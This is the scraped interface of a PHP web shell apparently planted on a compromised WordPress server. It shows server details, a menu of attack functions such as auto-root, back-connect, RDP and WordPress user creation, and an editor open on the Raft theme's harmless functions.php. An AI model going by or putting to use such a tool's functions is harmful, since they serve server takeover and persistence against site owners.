Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cilab /
wp-content /
themes /
raft /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
inc
[ DIR ]
drwxr-xr-x
languages
[ DIR ]
drwxr-xr-x
library
[ DIR ]
drwxr-xr-x
parts
[ DIR ]
drwxr-xr-x
styles
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
CHANGELOG.md
3.43
KB
-rw-r--r--
functions.php
3.47
KB
-rw-r--r--
index.php
56
B
-rw-r--r--
readme.md
4.48
KB
-rw-r--r--
readme.txt
4.39
KB
-rw-r--r--
screenshot.png
153.93
KB
-rw-r--r--
style.css
1.16
KB
-rw-r--r--
theme.json
12.42
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : functions.php
<?php /** * Raft functions file * * @author Themeisle * @package raft * @since 1.0.0 */ namespace Raft; /** * Bootstrap the theme. * * @return void */ function bootstrap() { global $_raft_bootstrap_errors; $_raft_bootstrap_errors = new \WP_Error(); check_php(); define_constants(); check_build_files(); maybe_add_notices(); load_sdk(); load_dependencies(); run(); } /** * Checks that the PHP version is correct. * * @return void */ function check_php() { global $_raft_bootstrap_errors; if ( version_compare( PHP_VERSION, '7.0' ) > 0 ) { return; } $_raft_bootstrap_errors->add( 'php_version', sprintf( /* translators: %s message to upgrade PHP to the latest version */ __( "Hey, we've noticed that you're running an outdated version of PHP which is no longer supported. Make sure your site is fast and secure, by %1\$s. Raft's minimal requirement is PHP%2\$s.", 'raft' ), sprintf( /* translators: %s message to upgrade PHP to the latest version */ '<a href="https://wordpress.org/support/upgrade-php/">%s</a>', __( 'upgrading PHP to the latest version', 'raft' ) ), '7.0' ) ); } /** * Define theme constants. * * @return void */ function define_constants() { define( 'RAFT_VERSION', '1.1.5' ); define( 'RAFT_DEBUG', defined( 'WP_DEBUG' ) && WP_DEBUG === true ); define( 'RAFT_DIR', trailingslashit( get_template_directory() ) ); define( 'RAFT_URL', trailingslashit( get_template_directory_uri() ) ); } /** * Checks that the build files are present. * * @return void */ function check_build_files() { if ( defined( 'RAFT_IGNORE_SOURCE_CHECK' ) ) { return; } $_files_to_check = array( RAFT_DIR . 'vendor/autoload.php', RAFT_DIR . 'assets/css/build/style.css', RAFT_DIR . 'assets/css/build/editor.css', RAFT_DIR . 'assets/css/build/style-rtl.css', RAFT_DIR . 'assets/css/build/editor-rtl.css', ); foreach ( $_files_to_check as $file ) { if ( is_file( $file ) ) { continue; } global $_raft_bootstrap_errors; $_raft_bootstrap_errors->add( 'build_missing', sprintf( /* translators: %s: commands to run the theme */ __( 'You appear to be running the Raft theme from source code. Please finish installation by running %s.', 'raft' ), '<code>composer install --no-dev && yarn install --frozen-lockfile && yarn run build</code>' ) ); return; } } /** * Adds notices if something went wrong and activates the default theme. * * @return void */ function maybe_add_notices() { global $_raft_bootstrap_errors; if ( ! $_raft_bootstrap_errors->has_errors() ) { return; } add_filter( 'template_include', '__return_null', 99 ); switch_theme( WP_DEFAULT_THEME ); unset( $_GET['activated'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended add_action( 'admin_notices', function () { global $_raft_bootstrap_errors; printf( '<div class="notice notice-error"><p>%1$s</p></div>', wp_kses_post( $_raft_bootstrap_errors->get_error_message() ) ); } ); } /** * Load SDK. * * @return void */ function load_sdk() { add_filter( 'themeisle_sdk_products', function ( $products ) { $products[] = RAFT_DIR . 'style.css'; return $products; } ); } /** * Load composer dependencies. * * @return void */ function load_dependencies() { $vendor_file = RAFT_DIR . '/vendor/autoload.php'; if ( is_readable( $vendor_file ) ) { require_once $vendor_file; } } /** * Run theme core. * * @return void */ function run() { Core::get_instance(); } bootstrap();
Close